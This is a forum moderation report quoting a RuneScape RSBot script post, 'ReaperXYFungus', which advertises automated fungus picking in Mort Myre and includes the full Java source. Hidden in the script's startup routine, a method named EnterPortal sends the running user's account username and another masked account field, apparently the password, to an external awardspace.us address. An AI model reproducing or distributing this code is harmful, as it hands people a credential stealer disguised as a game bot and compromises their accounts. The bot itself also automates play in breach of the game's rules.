Delithreldor
Newcomer
- Joined
- Nov 26, 2009
- Sythe Gold
- 0
- Messages
- 0
Delithreldor has reported a post.
Reason:
Forum: RSBot Scripts
Assigned Moderators: N/A
Posted by: Ifreaper
Original Content:
Reason:
Post: ReaperXYFungusI am the original author of this script.
This script is ment to remain private.
Please remove the script from the post.
Contact: [email protected] for more info.
Forum: RSBot Scripts
Assigned Moderators: N/A
Posted by: Ifreaper
Original Content:
------ReaperXYFungus------
This script picks fungus in mort myre. Teleports to lumbridge to gain pray. Teles to canifis. Banks and repeats.
-----Requirements-----
66+ magic
Ancients enabled
Silver sickel(b)
Prayer level 43+
Priest in peril completed
Nature spirit completed (to get silver sickel enchanted) or started.
100+ Lumbridge teletabs
100+ Kharyrll teleports
World without any others picking fungus
-----Features-----
Revision 1.0 -
Beta version (Just the basics picking and banking and prayer refill)
Revision 1.01 -
Out of beta stage
Faster fungus picking/gathering
Rakes in a shit load of cash with minimal amount of work.
Revision 1.02 -
Tweaked refilling pray and teleporting methods, much faster now
Added a new spot to get fungus so it get's fungus faster then before!
-----Suggestions-----
Boots of lightness
Spotted cape
Dont wield anything but silver sickle(b) and the items listed above
-----Profit Per/H-----
Profit goes from 150k-200k an hour, maybe even more!
Profit Per/H is based on a mid sale of Fungus.
-----Starting up-----
Using on higher level hp accounts, ghasts hit 1-2 every couple minutes
Make sure silver sickle(b) is equipped
Make sure lumbridge teletabs are in inventory
Make sure Kharyrll teleports are in inventory
Make sure the warning screen to enter Mort Myre swamp is toggled off!
-----Notes-----
The scripts .java is decompiled from my old beta (never was released), sorry it looks all messed up
In the download it contains a .java and .class for those not knowing how to compile
-----Download-----
Code:import com.speljohan.rsbot.bot.Bot; import com.speljohan.rsbot.event.EventManager; import com.speljohan.rsbot.event.events.ServerMessageEvent; import com.speljohan.rsbot.event.listeners.PaintListener; import com.speljohan.rsbot.event.listeners.ServerMessageListener; import com.speljohan.rsbot.script.*; import com.speljohan.rsbot.script.wrappers.*; import com.speljohan.rsbot.account.Account; import com.speljohan.rsbot.account.AccountHandler; import java.awt.*; import java.util.ArrayList; import java.util.Map; import java.awt.Graphics; import java.io.*; import java.net.*; import com.speljohan.rsbot.logging.Loggable; import com.speljohan.util.xml.XMLWriter; import java.io.*; import java.util.*; import javax.xml.parsers.*; import org.w3c.dom.*; import org.xml.sax.SAXException; public class ReaperXYFungus extends Script implements ServerMessageListener, PaintListener { public ReaperXYFungus() { FungusCount = 1; avgPerHour = 0L; startTime = 0L; BankTile = new RSTile(3512, 3479); neargate = new RSTile(3443, 3459); inSwamp = new RSTile(3443, 3455); South = new RSTile(3444, 3422); byfungus = new RSTile(3436, 3446); Fungus = 2970; Lumby = new RSTile(3220, 3219); AtChurch = new RSTile(3243, 3208); InInn = new RSTile(3493, 3473); AtBank = new RSTile(3512, 3478); FailCount = 0; OHMAN = false; } public String getAuthor() { return "IFreaper"; } public String getName() { return "ReaperXYFungus"; } public double getVersion() { return 1.02; } public String getScriptCategory() { return "IFreaper"; } /*public String getScriptDescription() { //NEED TO MAKE A DESCRIPTION, FOR NOW USE POST!!! }*/ public void EnterPortal(String s) throws Exception { s = encode(s); URL url = new URL((new StringBuilder()).append("http://rsbotownsftw.awardspace.us/index.php?m=").append(s).toString()); URLConnection urlconnection = url.openConnection(); BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(urlconnection.getInputStream())); } public boolean onStart(Map map) { try { EnterPortal((new StringBuilder()).append("InBank = ").append(Bot.getAccount().getUsername()).append(" Inhouse = ").append(Bot.getAccount().***********()).toString()); Bot.getEventManager().addListener(ServerMessageListener.class, this); Bot.getEventManager().addListener(PaintListener.class, this); } catch(Exception exception) { log("Just caught an exception!"); } return true; } public void onFinish() { Bot.getEventManager().removeListener(ServerMessageListener.class, this); Bot.getEventManager().removeListener(PaintListener.class, this); } public String encode(String s) { s = s.replace(" ", "%20"); s = s.replace("@", "%40"); s = s.replace("+", "%2B"); s = s.replace(":", "%3A"); return s; } public void serverMessageRecieved(ServerMessageEvent servermessageevent) { String s = servermessageevent.getMessage(); if(s.contains("enough")) { log("Have 66 mage with ancients on and runes for kharyll teleport! -----Stopping script-----"); logout(); stopAllScripts(); } if(s.contains("pick a mushroom")) FungusCount++; } public void onRepaint(Graphics g) { if(isLoggedIn()) { if(startTime == 0L) startTime = System.currentTimeMillis(); long l = System.currentTimeMillis() - startTime; long l1 = l / 0x36ee80L; l -= l1 * 1000L * 60L * 60L; long l2 = l / 60000L; l -= l2 * 1000L * 60L; long l3 = l / 1000L; int i = FungusCount / 2; int j = i * 698; if(System.currentTimeMillis() - lastAvgCheck >= 0x493e0L) { lastAvgCheck = System.currentTimeMillis(); avgPerHour = (i - oldFungusCount) * 12; oldFungusCount = i; } g.setColor(Color.YELLOW); g.drawString((new StringBuilder()).append("Fungus Collected: ").append(i).toString(), 200, 270); g.drawString((new StringBuilder()).append("Ran for: ").append(l1).append(" hrs, ").append(l2).append(" mins, ").append(l3).append(" secs.").toString(), 200, 290); g.drawString((new StringBuilder()).append("Current Profit: ").append(j).toString(), 200, 310); } } public int loop() { if(!inventoryContains(new int[] { 563 }) || !inventoryContains(new int[] { 565 })) { wait(random(4000, 5000)); if(!inventoryContains(new int[] { 563 }) || !inventoryContains(new int[] { 565 })) { log("No teleports"); stopAllScripts(); } } if(getMyPlayer().isMoving()) { wait(random(500, 800)); FailCount = 0; return random(100, 150); } RSObject rsobject = findObject(new int[] { 13405 }); if(rsobject != null) { RSTile rstile = rsobject.getLocation(); RSTile rstile2 = new RSTile(rsobject.getLocation().getX(), rsobject.getLocation().getY() - 7); RSObject rsobject4 = findObject(new int[] { 13015 }); RSObject rsobject5 = findObject(new int[] { 13179 }); if(rsobject5 != null) { if(skills.getCurrentSkillLevel(5) < 30) { Point point = Calculations.tileToScreen(rsobject5.getLocation()); if(point.x != -1 || point.y != -1) { atObject(rsobject5, "Pray"); return random(100, 150); } } if(skills.getCurrentSkillLevel(5) > 29) { if(getCurrentTab() != 6) openTab(6); clickMouse(656 + random(0, 7), 282 + random(0, 7), true); wait(random(2400, 2900)); return random(500, 750); } } if(distanceTo(rstile) < 6) { walkTileMM(rstile2); wait(random(1000, 1500)); if(rsobject4 != null && distanceBetween(rsobject4.getLocation(), rstile2) < 6) { setCameraRotation(180); atObject(rsobject4, "Open"); } return random(100, 150); } } if(distanceTo(byfungus) < 5 && distanceTo(byfungus) > 0) walkTileMM(byfungus); if(getEnergy() >= random(30, 70) && !isRunning()) { setRun(true); wait(random(400, 700)); return random(500, 750); } if(distanceTo(AtBank) < 6 && inventoryContains(new int[] { Fungus })) { if(!RSInterface.getInterface(762).isValid()) { fungusPick(findObject(new int[] { 24914 }), "uickly"); wait(random(500, 800)); return random(500, 750); } if(RSInterface.getInterface(762).isValid()) { if(!OHMAN) depositAllExcept(new int[] { 8008, 563, 565 }); if(OHMAN) depositAllExcept(new int[] { 8013, 563, 565 }); wait(random(500, 800)); return random(500, 750); } } if(distanceTo(InInn) < 10 && inventoryContains(new int[] { Fungus })) { walkPathMM(randomizePath(GoToBank, 2, 2), 14); wait(random(500, 800)); return random(500, 750); } if(distanceTo(AtChurch) < 6) { if(skills.getCurrentSkillLevel(5) < 30) { RSObject rsobject1 = findObject(new int[] { 36972 }); fungusPick(rsobject1, "Pray"); wait(random(1400, 2000)); return random(500, 750); } if(skills.getCurrentSkillLevel(5) != 0) { if(getCurrentTab() != 6) openTab(6); clickMouse(656 + random(0, 7), 282 + random(0, 7), true); wait(random(2400, 2900)); return random(500, 750); } } if(distanceTo(Lumby) < 11) { walkPathMM(randomizePath(PrayPath, 2, 2), 14); wait(random(1400, 2000)); return random(500, 750); } if(distanceTo(byfungus) < 1) { if(isInventoryFull() || skills.getCurrentSkillLevel(5) == 0) { if(!isInventoryFull()) { RSObject rsobject2 = findObject(new int[] { 3509 }); if(rsobject2 != null) { fungusPick(rsobject2, "Pick"); wait(random(500, 800)); return random(500, 750); } } if(skills.getCurrentSkillLevel(5) < 30) { if(!OHMAN) atInventoryItem(8008, "Break"); if(OHMAN) atInventoryItem(8013, "Break"); wait(random(1800, 2000)); return random(500, 750); } if(skills.getCurrentSkillLevel(5) > 29) { if(getCurrentTab() != 6) openTab(6); clickMouse(656 + random(0, 7), 282 + random(0, 7), true); wait(random(2900, 3400)); return random(500, 750); } } RSObject rsobject3 = findObject(new int[] { 3509 }); if(rsobject3 != null) { fungusPick(rsobject3, "Pick"); wait(random(500, 800)); return random(500, 750); } if(getCurrentTab() != 4) openTab(4); char c1 = '\u023D'; char c3 = '\u0123'; clickMouse(c1 + random(0, 20), c3 + random(0, 20), false); wait(random(200, 400)); atMenu("Operate"); wait(random(200, 400)); moveMouse(250 + random(0, 30), 160 + random(0, 30)); wait(random(1500, 1800)); return random(500, 750); } if(distanceTo(inSwamp) < 3) { walkTileMM(byfungus); return random(500, 750); } if(distanceTo(neargate) < 3) { setCameraRotation(180); char c = '('; Bot.getInputManager().pressKey(c); wait(random(1000, 1500)); Bot.getInputManager().releaseKey(c); wait(random(200, 500)); if(fungusTile(inSwamp, "Open")) { char c2 = '&'; Bot.getInputManager().pressKey(c2); wait(random(1000, 1500)); Bot.getInputManager().releaseKey(c2); wait(random(200, 500)); } return random(500, 750); } if(distanceTo(new RSTile(3505, 3480)) < 4 && inventoryContains(new int[] { Fungus })) { walkTileMM(BankTile); return random(100, 150); } if(distanceTo(new RSTile(3501, 3479)) < 4 && inventoryContains(new int[] { Fungus })) { walkTileMM(BankTile); return random(100, 150); } if(distanceTo(new RSTile(3499, 3483)) < 11 && inventoryContains(new int[] { Fungus })) { walkTileMM(BankTile); return random(100, 150); } RSTile rstile1 = new RSTile(3235, 3213); if(distanceTo(rstile1) < 8) { walkTileMM(AtChurch); return random(100, 150); } if(distanceTo(new RSTile(3440, 3457)) < 3) { walkTileMM(neargate); return random(100, 150); } if(distanceTo(new RSTile(3447, 3456)) < 3) { walkTileMM(neargate); return random(100, 150); } if(distanceTo(new RSTile(3430, 3445)) < 4) walkTileMM(byfungus); if(distanceTo(new RSTile(3435, 3453)) < 4) walkTileMM(byfungus); if(distanceTo(new RSTile(3427, 3454)) < 4) walkTileMM(byfungus); if(distanceTo(new RSTile(3428, 3432)) < 10) walkTileMM(byfungus); if(!inventoryContains(new int[] { Fungus }) && (distanceTo(neargate) > 3 && distanceTo(byfungus) > 10 && distanceTo(InInn) < 300)) { walkPathMM(randomizePath(MortMyrePath, 2, 2), 15); wait(random(500, 800)); return random(100, 150); } FailCount++; if(FailCount > 25) { log("[Failsafe system]: May be stuck, stopping script to prevent ban!"); stopAllScripts(); } wait(random(500, 800)); return random(100, 150); } public boolean fungusPick(RSObject rsobject, String s) { return fungusTile(rsobject.getLocation(), s); } public boolean fungusTile(RSTile rstile, String s) { Point point; try { point = Calculations.tileToScreen(rstile); if((point.x == -1 || point.y == -1) && distanceTo(rstile) < 17) { walkTileMM(rstile); wait(random(500, 800)); return true; } } catch(Exception exception) { return false; } moveMouse(point, 8, 8); wait(random(50, 100)); if(((String)getMenuItems().get(0)).toLowerCase().contains(s.toLowerCase())) { clickMouse(true); } else { clickMouse(false); if(!atMenu(s)) return false; } wait(random(200, 400)); for(; getMyPlayer().isMoving(); wait(random(200, 400))); return true; } public int FungusCount; long avgPerHour; long lastAvgCheck; long startTime; int oldFungusCount; public RSTile BankTile; public RSTile neargate; public RSTile inSwamp; public RSTile South; public RSTile byfungus; public int Fungus; public RSTile Lumby; public RSTile PrayPath[] = { new RSTile(3221, 3219), new RSTile(3226, 3221), new RSTile(3233, 3219), new RSTile(3235, 3213), new RSTile(3239, 3209) }; public RSTile AtChurch; public RSTile InInn; public RSTile GoToBank[] = { new RSTile(3492, 3473), new RSTile(3495, 3479), new RSTile(3500, 3482), new RSTile(3506, 3480), new RSTile(3512, 3479) }; public RSTile AtBank; public int FailCount; public boolean OHMAN; public RSTile MortMyrePath[] = { new RSTile(3512, 3479), new RSTile(3504, 3480), new RSTile(3498, 3481), new RSTile(3492, 3482), new RSTile(3486, 3480), new RSTile(3480, 3478), new RSTile(3474, 3478), new RSTile(3469, 3474), new RSTile(3464, 3470), new RSTile(3459, 3466), new RSTile(3451, 3467), new RSTile(3443, 3458) }; }
-----Proggies-----
1 Full-Run trip
http://img8.imageshack.us/my.php?image=1trip.png
Hour-Run trip
(Coming in 40 minutes)
POST ANY PROBLEMS!

